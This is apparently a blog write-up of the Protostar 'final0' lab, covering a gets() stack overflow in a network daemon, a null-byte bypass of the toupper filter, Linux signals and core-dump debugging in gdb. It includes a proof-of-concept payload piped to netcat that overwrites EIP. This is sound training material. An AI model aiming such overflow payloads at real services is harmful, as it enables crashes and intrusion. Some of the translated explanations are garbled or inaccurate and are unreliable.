RNRF 2021. 11. 3. 01:01

29. Linux signals and core dumps - bin.0x1C

: The "final" level is more developed and is at a very easy "pwnable" level.
: Let's look at "final0".
-> Network settings are essentially the same as previous video, so you should become familiar with these user-defined features.
-> Therefore, the client calls this function when it connects to this service running on port 2995.
-> "get_username()" This function has a local 512 byte large buffer and is overwritten with "0".
-> "gets()" is then used to read data from the user to the buffer.
-> As we have learned from many episodes, "gets" is a dangerous function.
-> This part is clearly a buffer overflow.
-> Then make sure that there is "\n" or "\r" and, if so, overwrite it with a new line-up.
-> After that is a loop, which will go over the buffer and call toupper on every character.
-> The function is then returned.
-> This means that the function's return pointer should be overwritten and redirectable.

: There is only one problem here.
-> This means that the data to be used for overflow is converted to capital letters.
-> This means the address used to overwrite the shell code and command pointer.
-> No stack changes are required when using "tupper".
-> That is, lowercase "ASCII" characters cannot be used.
-> ‘abCD’ -> ‘ABCD’

: C Code(/opt/protostar/bin/final0)
#include "../common/common.c"

#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995

/*
 * Read the username in from the network
 */

char *get_username()
{
  char buffer[512];
  char *q;
  int i;

  memset(buffer, 0, sizeof(buffer));
  gets(buffer);

  /* Strip off trailing new line characters */
  q = strchr(buffer, '\n');
  if(q) *q = 0;
  q = strchr(buffer, '\r'); # “abc\rde” -> “ABC\0de”
  if(q) *q = 0;

  /* Convert to lower case */ # string are null terminated
  for(i = 0; i < strlen(buffer); i++) {
      buffer[i] = toupper(buffer[i]); # ‘a’ -> ‘A’
  }

  /* Duplicate the string and return it */
  return strdup(buffer);
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  username = get_username();
  
  printf("No such user %s\n", username);
}
: So, is there a way to overcome the limitations?
: Let's think about this and work backwards.
-> Therefore, in order for "tupper" to be used in our input, certain conditions must be true.
-> The "for" loop uses "strlen" to determine how many bytes to process.
-> "strlen" calculates all bytes until the "null" byte is found.
-> Therefore, it would be fine if we got a "null" byte before the actual overflow and shell code.
: How can I get a "null byte"?
-> man gets
DESCRIPTION
       fgetc() reads the next character from stream and returns it as an unsigned char cast to an int, or EOF on end of file
       or error.

       getc() is equivalent to fgetc() except that it may be implemented as a macro which evaluates stream more than once.

       getchar() is equivalent to getc(stdin).

       gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or  EOF,  which  it
       replaces with '\0'.  No check for buffer overrun is performed (see BUGS below).
-> "gets()" reads everything from opening to "EOF".
-> In other words, "gets" has no problem reading "null byte."
-> Therefore, capital letters can be completely ignored.
-> The above may abuse the "null byte" replacement.
-> Suppose the "\r" input uses "strcpy" and thus stops you at bytes.
-> For example, "abc\rde" is replaced by "\r" as "ABC\0de".(”\r” -> “\0”)
-> Therefore, it works.

: Make simple by using this as evidence the 512 byte buffer size.
-> Python can be used in conjunction with "-c" to write short scripts directly on the argument.
-> So we can print out the 510 lowercase letter "a" and see the changes later.
-> python -c 'print "a"*510' aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
-> python -c 'print "a"*510+"\x00"+"aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk"' aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk
-> You can then add the byte and continue to use the normal alphabet to recognize the method.
-> Command pointer to overflow.
-> You can also make the alphabet lowercase so that it doesn't turn into capital letters.
-> nc 127.0.0.1 2995
hello test
No such user HELLO TEST
-> As with previous networking issues, "netcat" allows you to connect to services on port 2995.
-> Therefore, the output of Python "one-liner" can also be piped to "netcat".
-> python -c 'print "a"*510+"\x00"+"aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk"' | nc 127.0.0.1 2995
-> The "No search user..." output is not displayed as before.
-> And the code shows that it will be output after returning to "main."
-> The program was interrupted by overwriting the command pointer.

: But how do you debug this now?
-> A look at the description of the "prostar VM" shows the headline here.
-> Core files
-> The file name pattern is set to "/tmp/" something.
-> This means that core dumps are stored in "tmp".
-> ls -al /tmp
total 144
drwxrwxrwt  2 root root    340 Nov  1 16:59 .
drwxr-xr-x 27 root root    200 Oct 31 08:56 ..
-rw-r--r--  1 user user     19 Nov  1 09:09 A
-rw-r--r--  1 user user    105 Oct 31 14:04 alphbet
-rw-r--r--  1 user user     37 Nov  1 08:27 B
-rw-r--r--  1 user user    108 Nov  1 09:09 C
-rw-------  1 root root 294912 Nov  1 16:52 core.11.final0.7694
-rw-r--r--  1 user user    513 Oct 31 22:58 exp
-rw-r--r--  1 user user    323 Oct 31 16:01 exploit.py
-rw-r--r--  1 user user    307 Oct 31 22:58 exp.py
-rw-r--r--  1 user user    267 Nov  1 15:20 net1.py
-rw-r--r--  1 user user    360 Nov  1 15:51 net2.py
-rw-r--r--  1 user user    189 Oct 31 16:54 stack6
-rw-r--r--  1 user user    266 Oct 31 18:06 stack6.py
-rw-r--r--  1 user user    170 Oct 31 12:47 stack.py
-rwxr-xr-x  1 user user   4503 Oct 31 17:44 sys
-rw-r--r--  1 user user     56 Oct 31 17:44 sys.c
-> They belong to the root, so you can switch to the root to work.
: But what is the core file?
-> man core
DESCRIPTION
       The default action of certain signals is to cause a process to ter‐
       minate and produce a core dump file,  a  disk  file  containing  an
       image  of  the  process's  memory at the time of termination.  This
       image can be used in a debugger (e.g., gdb(1)) to inspect the state
       of  the program at the time that it terminated.  A list of the sig‐
       nals which cause a process to dump core can be found in signal(7).
-> The default behavior of a particular signal ends the process and ends the core dump file, the disk file containing the process memory image at the time.
-> Memory is memory status when crashed into a buffer overflow for a lot of you when I get some information.
-> This image can be used for debuggers (ex. gdb(1) to check the status of the program.)
-> In other words, we can see these using "gdb".
-> A list of signals for which the process dumps the core can be found in "signal(7)”.
-> You must have received a signal because the process generated a core file.
-> To understand this correctly, let's understand what the signal is.
-> Check the "7" in parentheses after the signal. It is very important to refer to the correct page.
-> man 7 signal
Standard Signals
       Linux supports the standard signals listed below.   Several  signal
       numbers  are  architecture-dependent,  as  indicated in the "Value"
       column.
-> Let's take a closer look at the standard signals.
-> "linux" supports the standard signals listed below.
-> As shown in the "value" column, the different signal numbers vary depending on the architecture.
-> Thus, a "intel," "amd," or "spac" processor can make a difference.
-> This indicates that signals may be related to very low levels of "CPU" and hardware.
-> I will look at the list of signals.
->     Signal     Value     Action   Comment
       ──────────────────────────────────────────────────────────────────────
       SIGHUP        1       Term    Hangup detected on controlling terminal
                                     or death of controlling process
       SIGINT        2       Term    Interrupt from keyboard
       SIGQUIT       3       Core    Quit from keyboard
       SIGILL        4       Core    Illegal Instruction
       SIGABRT       6       Core    Abort signal from abort(3)
       SIGFPE        8       Core    Floating point exception
       SIGKILL       9       Term    Kill signal
       SIGSEGV      11       Core    Invalid memory reference
       SIGPIPE      13       Term    Broken pipe: write to pipe with no
                                     readers
       SIGALRM      14       Term    Timer signal from alarm(2)
       SIGTERM      15       Term    Termination signal
       SIGUSR1   30,10,16    Term    User-defined signal 1
       SIGUSR2   31,12,17    Term    User-defined signal 2
       SIGCHLD   20,17,18    Ign     Child stopped or terminated
       SIGCONT   19,18,25    Cont    Continue if stopped
       SIGSTOP   17,19,23    Stop    Stop process
       SIGTSTP   18,20,24    Stop    Stop typed at tty
       SIGTTIN   21,21,26    Stop    tty input for background process
       SIGTTOU   22,22,27    Stop    tty output for background process

       The signals SIGKILL and SIGSTOP cannot be caught, blocked, or ignored.

-> For example, "SIGINT" is a signal that has been used several times.
-> cat
^C # Ctrl+C
-> In the case of a keyboard, it occurs when "control+C" is pressed.
-> Or when you jump into an invalid code, remember how you sometimes get illegal instructions.
-> The signal that is output at that time. It is also this kind of signal.
-> Clearly triggered on "CPU".
-> Or our favorite "syscall", "SIGSEGV", "segfault"
-> Identified in the "illigel" memory reference, such as when jumping to non-existent memory.
-> Or when writing to memory, not to existing memory.Some are caused by low-level hardware when trying to do bad things.

-> This line is interesting, too. The "SIGKILL", and "SIGSTOP" signals are captured, blocked, or ignored.
-> This means that most of these signals can be captured by the process.
-> I have actually experienced this when I run the process in "gdb".
-> gdb cat
-> r
Starting program: /bin/cat
^C # Ctrl+C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82      ../sysdeps/unix/syscall-template.S: No such file or directory.
        in ../sysdeps/unix/syscall-template.S
Current language:  auto
The current source language is "auto; currently asm".
-> If a breakpoint is set and the process is running, you can use "Ctrl+C" to abort.
-> Instead of sending "SIGINT" instead of the process, the signal handler was set up.
-> Therefore, the signal is similar to the process interrupt in the kernel.
-> A kernel that signals the process when certain events, such as memory access, fail, press "Ctrl+C" or exit the process.
-> Unprocessed signals typically terminate the process, but the process may also set the signal.
-> Handler that performs certain actions when receiving these signals.

: So in our case, the "EIP" is overflowed in the stack and the signal is triggered when the function returns a segmentation error.
-> The process is terminated by the kernel without processing.
-> At the same time, a core dump file is created to store the state of the process.

: Now let's use "gdb" to see what happened.
-> As before, the binary is designated as the first argument and the core is added.
-> File as the second argument.
-> su root
Password:(godmode)
-> gdb /opt/protostar/bin/final0 core.11.final0.7694 # path to binary & path to core
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/final0...done.

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0  0x67666666 in ?? ()
-> When "gdb" opens, a message indicates that the process has been terminated immediately.
-> "signal(11)" and "Segmentation fault"
-> info registers
eax            0x804b008        134524936
ecx            0x0      0
edx            0x3      3
ebx            0x65646464       1701078116
esp            0xbffffc60       0xbffffc60
ebp            0x66656565       0x66656565
esi            0x0      0
edi            0x0      0
eip            0x67666666       0x67666666 # 0x67666666 = “fffg”
eflags         0x10282  [ SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
-> You can see the value of "eip" by looking at the register.
-> And that's the string we've entered.
-> Examine the stack pointer to explore the stack.
-> You can see that having these core files is very useful.
-> x/32wx $esp-8
0xbffffc58:     0x66656565      0x67666666      0x68676767      0x69686868
0xbffffc68:     0x6a696969      0x6b6a6a6a      0x006b6b6b      0xb7ff1040
0xbffffc78:     0x00000004      0xb7fd7ff4      0x080498b0      0x00000000
0xbffffc88:     0xbffffd08      0xb7eadc76      0x00000001      0xbffffd34
0xbffffc98:     0xbffffd3c      0xb7fe1848      0xbffffcf0      0xffffffff
0xbffffca8:     0xb7ffeff4      0x08048787      0x00000001      0xbffffcf0
0xbffffcb8:     0xb7ff0626      0xb7fffab0      0xb7fe1b28      0xb7fd7ff4
0xbffffcc8:     0x00000000      0x00000000      0xbffffd08      0x84e17ce2
-> Now I know which text caused the overflow.
: Another way to debug this further is to use "gdb" to connect to processes that are already running.
-> pidof final0
1658
-> Find process "ID" and call "gdb" using "-p" and "pid".
-> gdb -p `pidof final0`
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Attaching to process 1658
Reading symbols from /opt/protostar/bin/final0...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
accept () at ../sysdeps/unix/sysv/linux/i386/socket.S:64
64      ../sysdeps/unix/sysv/linux/i386/socket.S: No such file or directory.
        in ../sysdeps/unix/sysv/linux/i386/socket.S
-> c
Continuing.
-> As you can see, the process is currently waiting for the client to connect.
(Python) -> python -c 'print "a"*510+"\x00"+"aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk"' | nc 127.0.0.1 2995
-> However, when you send a PoC overflow, "segfault" is not displayed.
-> In this case we should set "follow-fork-mode" to "child" in "gdb".
(GDB) -> set follow-fork-mode child
-> c
Continuing.
(Python) -> python -c 'print "a"*510+"\x00"+"aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk"' | nc 127.0.0.1 2995
(GDB) -> [New process 7962]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 7962]
0x67666666 in ?? ()
-> "segfault" was obtained with a long input.
: Now all preparations are complete to develop the entire exploit.
(GDB) -> info registers
eax            0x804b008        134524936
ecx            0x0      0
edx            0x3      3
ebx            0x65646464       1701078116
esp            0xbffffc60       0xbffffc60
ebp            0x66656565       0x66656565
esi            0x0      0
edi            0x0      0
eip            0x67666666       0x67666666
eflags         0x10282  [ SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

: Exploit Code(Python Code)
python -c 'print "a"*510+"\00"+"aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk"' | nc 127.0.0.1 2995

: Tips.
-> core file
gdb /opt/protostar/bin/final0 core.11.final0.1999
-> pidof final0
gdb -p `pidof final0`
set follow-fork-mode child